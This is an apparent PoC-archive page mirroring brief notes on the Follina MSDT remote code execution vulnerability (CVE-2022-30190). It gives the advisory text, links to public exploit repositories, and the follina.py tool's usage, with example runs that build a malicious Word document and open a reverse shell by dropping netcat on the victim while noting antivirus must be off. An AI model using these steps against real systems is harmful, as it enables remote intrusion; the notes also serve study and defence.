Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-30190 PoC — Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability

Source
Associated Vulnerability
Title:Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (CVE-2022-30190)
Description:A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.
Description
Notes related to CVE-2022-30190
Readme
# Follina
Notes related to CVE-2022-30190

FOLLINA: CVE-2022-30190

1.	Uses Microsoft Support Diagnostic Tool (MSDT)
2.	Exploits diagnostic window opened for Diagnosis and when executed properly, gives reverse shell to attacker.

3.	Github: 
    (a).	https://github.com/JohnHammond/msdt-follina
    (b).	https://github.com/chvancooten/follina.py

4.	Thanks to:
    (a).	@_johnhammond
    (b).	@networkchuck

5.	Usage
    follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
    options:
      -h, --help            show this help message and exit
      --command COMMAND, -c COMMAND
                            command to run on the target (default: calc)
      --output OUTPUT, -o OUTPUT
                            output maldoc file (default: ./follina.doc)
      --interface INTERFACE, -i INTERFACE
                            network interface or IP address to host the HTTP server (default: eth0)
      --port PORT, -p PORT  port to serve the HTTP server (default: 8000)


6.	Examples
    (a).	Pop calc.exe:
          $ python3 follina.py   
          [+] copied staging doc /tmp/9mcvbrwo
          [+] created maldoc ./follina.doc
          [+] serving html payload on :8000
    (b).	Pop notepad.exe:
          $ python3 follina.py -c "notepad"
    (c).	Get a reverse shell on port 9001. 
          Note, this downloads a netcat binary onto the victim and places it in C:\Windows\Tasks. It does not clean up the binary. This will trigger        
          antivirus detections unless AV is disabled.
          $ python3 follina.py -r 9001

	 

File Snapshot

[4.0K] /data/pocs/2b8a3e4bcb2d832f819df91de0d567d988724b6b └── [1.6K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →